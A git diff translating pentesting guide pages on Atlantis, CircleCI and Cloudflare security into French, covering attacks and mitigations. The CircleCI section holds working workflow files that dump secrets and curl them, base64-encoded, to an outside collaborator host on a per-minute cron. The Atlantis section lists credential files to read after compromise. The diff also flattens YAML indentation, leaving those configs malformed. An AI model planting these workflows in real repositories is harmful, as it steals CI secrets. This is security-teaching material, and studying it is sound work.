-    apply_requirements: []
+- id: /.*/
+apply_requirements: []
 ```
-
 #### PR Hijacking
 
-If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
+Si quelqu'un envoie des **commentaires `atlantis plan/apply` sur vos pull requests valides,** cela fera exécuter terraform quand vous ne le souhaitez pas.
 
-Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
+De plus, si vous n'avez pas configuré dans la **protection de branche** de demander une **réévaluation** de chaque PR lorsqu'un **nouveau commit est poussé** dessus, quelqu'un pourrait **écrire des configurations malveillantes** (voir les scénarios précédents) dans la configuration terraform, exécuter `atlantis plan/apply` et obtenir RCE.
 
-This is the **setting** in Github branch protections:
+C'est le **paramètre** dans les protections de branche de Github :
 
 ![](<../images/image (216).png>)
 
 #### Webhook Secret
 
-If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
+Si vous parvenez à **voler le webhook secret** utilisé ou s'il **n'y a pas de webhook secret** utilisé, vous pourriez **appeler le webhook Atlantis** et **invoquer des commandes atlatis** directement.
 
 #### Bitbucket
 
-Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
+Bitbucket Cloud **ne prend pas en charge les webhook secrets**. Cela pourrait permettre aux attaquants de **falsifier des requêtes depuis Bitbucket**. Assurez-vous de n'autoriser que les IPs de Bitbucket.
 
-- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- Cela signifie qu'un **attaquant** pourrait faire des **requêtes falsifiées à Atlantis** qui semblent provenir de Bitbucket.
+- Si vous spécifiez `--repo-allowlist`, alors ils ne pourraient falsifier que des requêtes concernant ces dépôts, donc le plus de dégâts qu'ils pourraient causer serait de planifier/appliquer sur vos propres dépôts.
+- Pour éviter cela, autorisez les [adresses IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (voir les adresses IPv4 sortantes).
 
 ### Post-Exploitation
 
-If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
+Si vous avez réussi à accéder au serveur ou au moins à obtenir un LFI, il y a des choses intéressantes que vous devriez essayer de lire :
 
-- `/home/atlantis/.git-credentials` Contains vcs access credentials
-- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
-- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
-  - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Env variables
-- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- `/home/atlantis/.git-credentials` Contient les identifiants d'accès vcs
+- `/atlantis-data/atlantis.db` Contient les identifiants d'accès vcs avec plus d'infos
+- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Fichier d'état Terraform
+- Exemple : /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` Variables d'environnement
+- `/proc/[2-20]/cmdline` Ligne de commande de `atlantis server` (peut contenir des données sensibles)
 
 ### Mitigations
 
 #### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
 
-Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
+Parce que n'importe qui peut commenter sur des pull requests publiques, même avec toutes les mitigations de sécurité disponibles, il est toujours dangereux d'exécuter Atlantis sur des dépôts publics sans une configuration appropriée des paramètres de sécurité.
 
 #### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
 
-If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
+Si vous exécutez sur un dépôt public (ce qui n'est pas recommandé, voir ci-dessus), vous ne devriez pas définir `--allow-fork-prs` (par défaut à false) car n'importe qui peut ouvrir une pull request depuis son fork vers votre dépôt.
 
 #### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
 
-Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
+Atlantis nécessite que vous spécifiiez une liste blanche de dépôts à partir desquels il acceptera des webhooks via le drapeau `--repo-allowlist`. Par exemple :
 
-- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- Dépôts spécifiques : `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- Votre organisation entière : `--repo-allowlist=github.com/runatlantis/*`
+- Chaque dépôt dans votre installation GitHub Enterprise : `--repo-allowlist=github.yourcompany.com/*`
+- Tous les dépôts : `--repo-allowlist=*`. Utile lorsque vous êtes dans un réseau protégé mais dangereux sans également définir un webhook secret.
 
-This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
+Ce drapeau garantit que votre installation Atlantis n'est pas utilisée avec des dépôts que vous ne contrôlez pas. Voir `atlantis server --help` pour plus de détails.
 
 #### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
 
-If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
+Si les attaquants soumettant des pull requests avec du code Terraform malveillant sont dans votre modèle de menace, alors vous devez être conscient que les approbations `terraform apply` ne suffisent pas. Il est possible d'exécuter du code malveillant dans un `terraform plan` en utilisant la [`source de données externe`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou en spécifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants.
 
-To prevent this, you could:
+Pour éviter cela, vous pourriez :
 
-1. Bake providers into the Atlantis image or host and deny egress in production.
-2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
-3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+1. Intégrer les fournisseurs dans l'image Atlantis ou héberger et refuser l'egress en production.
+2. Implémenter le protocole de registre de fournisseurs en interne et refuser l'egress public, de cette façon vous contrôlez qui a un accès en écriture au registre.
+3. Modifier votre [configuration de dépôt côté serveur](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` étape pour valider l'utilisation de fournisseurs ou de sources de données non autorisés ou de PRs d'utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple exiger un "pouce en l'air" sur la PR avant de permettre à la `plan` de continuer. Conftest pourrait être utile ici.
 
 #### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
 
-Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
+Atlantis doit être exécuté avec des secrets de webhook définis via les variables d'environnement `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Même avec le drapeau `--repo-allowlist` défini, sans un webhook secret, les attaquants pourraient faire des requêtes à Atlantis en se faisant passer pour un dépôt qui est sur la liste blanche. Les secrets de webhook garantissent que les requêtes webhook proviennent réellement de votre fournisseur VCS (GitHub ou GitLab).
 
-If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
+Si vous utilisez Azure DevOps, au lieu de secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base.
 
 #### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
 
-Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
+Azure DevOps prend en charge l'envoi d'un en-tête d'authentification de base dans tous les événements de webhook. Cela nécessite d'utiliser une URL HTTPS pour votre emplacement de webhook.
 
 #### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
 
-If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
+Si vous utilisez des secrets de webhook mais que votre trafic est sur HTTP, alors les secrets de webhook pourraient être volés. Activez SSL/HTTPS en utilisant les drapeaux `--ssl-cert-file` et `--ssl-key-file`.
 
 #### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
 
-It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
+Il est fortement recommandé d'activer l'authentification dans le service web. Activez BasicAuth en utilisant `--web-basic-auth=true` et configurez un nom d'utilisateur et un mot de passe en utilisant les drapeaux `--web-username=yourUsername` et `--web-password=yourPassword`.
 
-You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
+Vous pouvez également passer ces valeurs en tant que variables d'environnement `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` et `ATLANTIS_WEB_PASSWORD=yourPassword`.
 
 ### References
 
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
 - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 8b8a1fea1..dd8af1828 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -4,256 +4,232 @@
 
 ### Basic Information
 
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) est une plateforme d'intégration continue où vous pouvez **définir des modèles** indiquant ce que vous voulez qu'elle fasse avec du code et quand le faire. De cette manière, vous pouvez **automatiser les tests** ou **les déploiements** directement **à partir de la branche principale de votre dépôt**, par exemple.
 
 ### Permissions
 
-**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
-In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+**CircleCI** **hérite des permissions** de github et bitbucket liées au **compte** qui se connecte.\
+Dans mes tests, j'ai vérifié que tant que vous avez **des permissions d'écriture sur le dépôt dans github**, vous pourrez **gérer les paramètres de son projet dans CircleCI** (définir de nouvelles clés ssh, obtenir des clés api de projet, créer de nouvelles branches avec de nouvelles configurations CircleCI...).
 
-However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+Cependant, vous devez être un **administrateur de dépôt** pour **convertir le dépôt en projet CircleCI**.
 
 ### Env Variables & Secrets
 
-According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
+Selon [**la documentation**](https://circleci.com/docs/2.0/env-vars/), il existe différentes manières de **charger des valeurs dans des variables d'environnement** à l'intérieur d'un workflow.
 
 #### Built-in env variables
 
-Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+Chaque conteneur exécuté par CircleCI aura toujours [**des variables d'environnement spécifiques définies dans la documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) comme `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`.
 
 #### Clear text
 
-You can declare them in clear text inside a **command**:
-
+Vous pouvez les déclarer en texte clair à l'intérieur d'une **commande**:
 ```yaml
 - run:
-    name: "set and echo"
-    command: |
-      SECRET="A secret"
-      echo $SECRET
+name: "set and echo"
+command: |
+SECRET="A secret"
+echo $SECRET
 ```
-
-You can declare them in clear text inside the **run environment**:
-
+Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement d'exécution** :
 ```yaml
 - run:
-    name: "set and echo"
-    command: echo $SECRET
-    environment:
-      SECRET: A secret
+name: "set and echo"
+command: echo $SECRET
+environment:
+SECRET: A secret
 ```
-
-You can declare them in clear text inside the **build-job environment**:
-
+Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement de build-job** :
 ```yaml
 jobs:
-  build-job:
-    docker:
-      - image: cimg/base:2020.01
-  environment:
-    SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
 ```
-
-You can declare them in clear text inside the **environment of a container**:
-
+Vous pouvez les déclarer en texte clair à l'intérieur de **l'environnement d'un conteneur** :
 ```yaml
 jobs:
-    build-job:
-        docker:
-            - image: cimg/base:2020.01
-                environment:
-                    SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
 ```
+#### Secrets de Projet
 
-#### Project Secrets
-
-These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
+Ce sont des **secrets** qui ne seront **accessibles** que par le **projet** (par **n'importe quelle branche**).\
+Vous pouvez les voir **déclarés dans** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
 
 ![](<../images/image (129).png>)
 
 > [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+> La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci.
 
-#### Context Secrets
+#### Secrets de Contexte
 
-These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+Ce sont des secrets qui sont **à l'échelle de l'organisation**. Par **défaut, n'importe quel repo** pourra **accéder à n'importe quel secret** stocké ici :
 
 ![](<../images/image (123).png>)
 
 > [!TIP]
-> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+> Cependant, notez qu'un groupe différent (au lieu de Tous les membres) peut être **sélectionné pour donner accès aux secrets à des personnes spécifiques**.\
+> C'est actuellement l'un des meilleurs moyens d'**augmenter la sécurité des secrets**, pour ne pas permettre à tout le monde d'y accéder mais juste à certaines personnes.
 
-### Attacks
+### Attaques
 
-#### Search Clear Text Secrets
+#### Recherche de Secrets en Texte Clair
 
-If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+Si vous avez **accès au VCS** (comme github), vérifiez le fichier `.circleci/config.yml` de **chaque repo sur chaque branche** et **recherchez** des **secrets en texte clair** potentiels stockés là.
 
-#### Secret Env Vars & Context enumeration
+#### Énumération des Variables Env Secrets & Contextes
 
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
+En vérifiant le code, vous pouvez trouver **tous les noms de secrets** qui sont **utilisés** dans chaque fichier `.circleci/config.yml`. Vous pouvez également obtenir les **noms de contexte** à partir de ces fichiers ou les vérifier dans la console web : _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
 
-#### Exfiltrate Project secrets
+#### Exfiltrer les Secrets de Projet
 
 > [!WARNING]
-> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+> Pour **exfiltrer TOUS** les **SECRETS** de projet et de contexte, vous **avez juste** besoin d'avoir un accès **ÉCRIT** à **juste 1 repo** dans toute l'organisation github (_et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à chaque contexte_).
 
 > [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-
-All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+> La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci. Par conséquent, un attaquant pourrait **importer toutes les variables de projet de tous les repos** et ensuite **exfiltrer toutes ensemble**.
 
+Tous les secrets de projet sont toujours définis dans l'env des jobs, donc il suffit d'appeler env et de l'obfusquer en base64 pour exfiltrer les secrets dans la **console de log web des workflows** :
 ```yaml
 version: 2.1
 
 jobs:
-  exfil-env:
-    docker:
-      - image: cimg/base:stable
-    steps:
-      - checkout
-      - run:
-          name: "Exfil env"
-          command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
 
 workflows:
-  exfil-env-workflow:
-    jobs:
-      - exfil-env
+exfil-env-workflow:
+jobs:
+- exfil-env
 ```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Si vous **n'avez pas accès à la console web** mais que vous avez **accès au dépôt** et que vous savez que CircleCI est utilisé, vous pouvez simplement **créer un workflow** qui est **déclenché toutes les minutes** et qui **exfiltre les secrets vers une adresse externe** :
 ```yaml
 version: 2.1
 
 jobs:
-  exfil-env:
-    docker:
-      - image: cimg/base:stable
-    steps:
-      - checkout
-      - run:
-          name: "Exfil env"
-          command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
 
 # I filter by the repo branch where this config.yaml file is located: circleci-project-setup
 workflows:
-  exfil-env-workflow:
-    triggers:
-      - schedule:
-          cron: "* * * * *"
-          filters:
-            branches:
-              only:
-                - circleci-project-setup
-    jobs:
-      - exfil-env
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env
 ```
+#### Exfiltrer les secrets de contexte
 
-#### Exfiltrate Context Secrets
-
-You need to **specify the context name** (this will also exfiltrate the project secrets):
-
+Vous devez **spécifier le nom du contexte** (cela exfiltrera également les secrets du projet) :
 ```yaml
 version: 2.1
 
 jobs:
-  exfil-env:
-    docker:
-      - image: cimg/base:stable
-    steps:
-      - checkout
-      - run:
-          name: "Exfil env"
-          command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
 
 workflows:
-  exfil-env-workflow:
-    jobs:
-      - exfil-env:
-          context: Test-Context
+exfil-env-workflow:
+jobs:
+- exfil-env:
+context: Test-Context
 ```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Si vous **n'avez pas accès à la console web** mais que vous avez **accès au dépôt** et que vous savez que CircleCI est utilisé, vous pouvez simplement **modifier un workflow** qui est **déclenché toutes les minutes** et qui **exfiltre les secrets vers une adresse externe** :
 ```yaml
 version: 2.1
 
 jobs:
-  exfil-env:
-    docker:
-      - image: cimg/base:stable
-    steps:
-      - checkout
-      - run:
-          name: "Exfil env"
-          command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
 
 # I filter by the repo branch where this config.yaml file is located: circleci-project-setup
 workflows:
-  exfil-env-workflow:
-    triggers:
-      - schedule:
-          cron: "* * * * *"
-          filters:
-            branches:
-              only:
-                - circleci-project-setup
-    jobs:
-      - exfil-env:
-          context: Test-Context
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env:
+context: Test-Context
 ```
-
 > [!WARNING]
-> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+> Créer simplement un nouveau `.circleci/config.yml` dans un dépôt **ne suffit pas à déclencher un build circleci**. Vous devez **l'activer en tant que projet dans la console circleci**.
 
-#### Escape to Cloud
+#### Échapper vers le Cloud
 
-**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
-By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
-
-Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+**CircleCI** vous donne l'option d'exécuter **vos builds sur leurs machines ou sur les vôtres**.\
+Par défaut, leurs machines sont situées dans GCP, et vous ne pourrez initialement rien trouver de pertinent. Cependant, si une victime exécute les tâches sur **ses propres machines (potentiellement, dans un environnement cloud)**, vous pourriez trouver un **point de terminaison de métadonnées cloud avec des informations intéressantes dessus**.
 
+Remarquez que dans les exemples précédents, tout était lancé à l'intérieur d'un conteneur docker, mais vous pouvez également **demander à lancer une machine VM** (qui peut avoir des autorisations cloud différentes) :
 ```yaml
 jobs:
-  exfil-env:
-    #docker:
-    #  - image: cimg/base:stable
-    machine:
-      image: ubuntu-2004:current
+exfil-env:
+#docker:
+#  - image: cimg/base:stable
+machine:
+image: ubuntu-2004:current
 ```
-
-Or even a docker container with access to a remote docker service:
-
+Ou même un conteneur docker avec accès à un service docker distant :
 ```yaml
 jobs:
-  exfil-env:
-    docker:
-      - image: cimg/base:stable
-    steps:
-      - checkout
-      - setup_remote_docker:
-          version: 19.03.13
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- setup_remote_docker:
+version: 19.03.13
 ```
+#### Persistance
 
-#### Persistence
-
-- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
-  - _https://app.circleci.com/settings/user/tokens_
-- It's possible to **create projects tokens** to access the project with the permissions given to the token.
-  - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
-- It's possible to **add SSH keys** to the projects.
-  - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
-- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
-  - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- Il est possible de **créer** des **tokens utilisateur dans CircleCI** pour accéder aux points de terminaison de l'API avec les accès des utilisateurs.
+- _https://app.circleci.com/settings/user/tokens_
+- Il est possible de **créer des tokens de projet** pour accéder au projet avec les permissions données au token.
+- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
+- Il est possible d'**ajouter des clés SSH** aux projets.
+- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
+- Il est possible de **créer un cron job dans une branche cachée** dans un projet inattendu qui **fuit** toutes les **variables d'environnement contextuelles** chaque jour.
+- Ou même de créer dans une branche / modifier un job connu qui **fuit** tous les contextes et les **secrets des projets** chaque jour.
+- Si vous êtes propriétaire d'un github, vous pouvez **autoriser des orbes non vérifiés** et en configurer un dans un job comme **porte dérobée**.
+- Vous pouvez trouver une **vulnérabilité d'injection de commande** dans certaines tâches et **injecter des commandes** via un **secret** en modifiant sa valeur.
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 77d2c2c50..342c6c434 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Dans un compte Cloudflare, il y a certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres de sécurité liés à chaque section :**
 
 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
 
 ## Websites
 
-Review each with:
+Examinez chacun avec :
 
 {{#ref}}
 cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
 
 ### Domain Registration
 
-- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+- [ ] Dans **`Transfer Domains`**, vérifiez qu'il n'est pas possible de transférer un domaine.
 
-Review each with:
+Examinez chacun avec :
 
 {{#ref}}
 cloudflare-domains.md
@@ -26,39 +26,39 @@ cloudflare-domains.md
 
 ## Analytics
 
-_I couldn't find anything to check for a config security review._
+_Je n'ai rien trouvé à vérifier pour un examen de sécurité de configuration._
 
 ## Pages
 
-On each Cloudflare's page:
+Sur chaque page de Cloudflare :
 
-- [ ] Check for **sensitive information** in the **`Build log`**.
-- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+- [ ] Vérifiez les **informations sensibles** dans le **`Build log`**.
+- [ ] Vérifiez les **informations sensibles** dans le **dépôt Github** assigné aux pages.
+- [ ] Vérifiez le potentiel compromis du dépôt github via **workflow command injection** ou compromis de `pull_request_target`. Plus d'infos sur la [**page de sécurité Github**](../github-security/).
+- [ ] Vérifiez les **fonctions vulnérables** dans le répertoire `/fuctions` (s'il y en a), vérifiez les **redirections** dans le fichier `_redirects` (s'il y en a) et les **en-têtes mal configurés** dans le fichier `_headers` (s'il y en a).
+- [ ] Vérifiez les **vulnérabilités** dans la **page web** via **blackbox** ou **whitebox** si vous pouvez **accéder au code**.
+- [ ] Dans les détails de chaque page `/<page_id>/pages/view/blocklist/settings/functions`. Vérifiez les **informations sensibles** dans les **`Environment variables`**.
+- [ ] Dans la page de détails, vérifiez également la **commande de construction** et le **répertoire racine** pour des **injections potentielles** pouvant compromettre la page.
 
 ## **Workers**
 
-On each Cloudflare's worker check:
+Sur chaque worker de Cloudflare, vérifiez :
 
-- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
-  - Check for SSRFs returning the indicated page that you can control
-  - Check XSSs executing JS inside a svg image
-  - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- [ ] Les déclencheurs : Qu'est-ce qui fait déclencher le worker ? Un **utilisateur peut-il envoyer des données** qui seront **utilisées** par le worker ?
+- [ ] Dans les **`Settings`**, vérifiez les **`Variables`** contenant des **informations sensibles**.
+- [ ] Vérifiez le **code du worker** et recherchez des **vulnérabilités** (surtout dans les endroits où l'utilisateur peut gérer l'entrée).
+- Vérifiez les SSRFs retournant la page indiquée que vous pouvez contrôler.
+- Vérifiez les XSS exécutant du JS à l'intérieur d'une image svg.
+- Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations obtenues à partir de l'entrée. Dans ce cas, il serait nécessaire de vérifier quelles capacités le worker a sur le bucket R2 et comment cela pourrait être abusé à partir de l'entrée utilisateur.
 
 > [!WARNING]
